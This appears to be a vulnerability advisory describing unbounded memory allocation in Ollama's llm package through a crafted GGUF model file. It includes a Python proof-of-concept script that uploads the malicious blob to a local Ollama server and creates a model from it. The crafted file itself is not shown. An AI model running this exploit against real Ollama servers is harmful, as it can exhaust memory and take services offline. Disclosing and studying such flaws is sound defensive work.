Allocation of Resources Without Limits or Throttling Affecting github.com/ollama/ollama/llm package, versions *

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the creation and upload of a customized GGUF model file. An attacker can cause the server to allocate unlimited memory, leading to system unavailability by uploading a maliciously crafted model file to the server.

import os
import json
import requests
import hashlib

# if you use the proxy, you can unset it, otherwise, you cannot visit the localhost
os.environ.pop('HTTP_PROXY', None)
os.environ.pop('HTTPS_PROXY', None)
os.environ.pop('http_proxy', None)
os.environ.pop('https_proxy', None)

def get_sha256(file_path):
    sha256_hash = hashlib.sha256()
    with open(file_path, "rb") as f:
        for byte_block in iter(lambda: f.read(4096), b""):
            sha256_hash.update(byte_block)
    return sha256_hash.hexdigest()

def upload_model(model_path):
    upload_url_base = 'http://localhost:11434/api/blobs/sha256:{}'
    sha256 = get_sha256(model_path)
    upload_url = upload_url_base.format(sha256)
    with open(model_path, 'rb') as f:
        response = requests.post(upload_url, data=f)
    return sha256

def create_model(model_name, sha256):
    url = 'http://localhost:11434/api/create'
    data = {
        "name": model_name,
        "modelfile": f"FROM ~/.ollama/models/blobs/sha256-{sha256}"
    }
    response = requests.post(url, json=data)

def chat_model(model_name):
    url = 'http://localhost:11434/api/chat'
    data = {
        "model": model_name,
        "messages": [
            {"role": "user", "content": "why is the sky blue"}
        ]
    }
    response = requests.post(url, json=data)

model_path = './pocs/oom.gguf'
sha256 = upload_model(model_path)
create_model('test', sha256)

• Vulnerable Code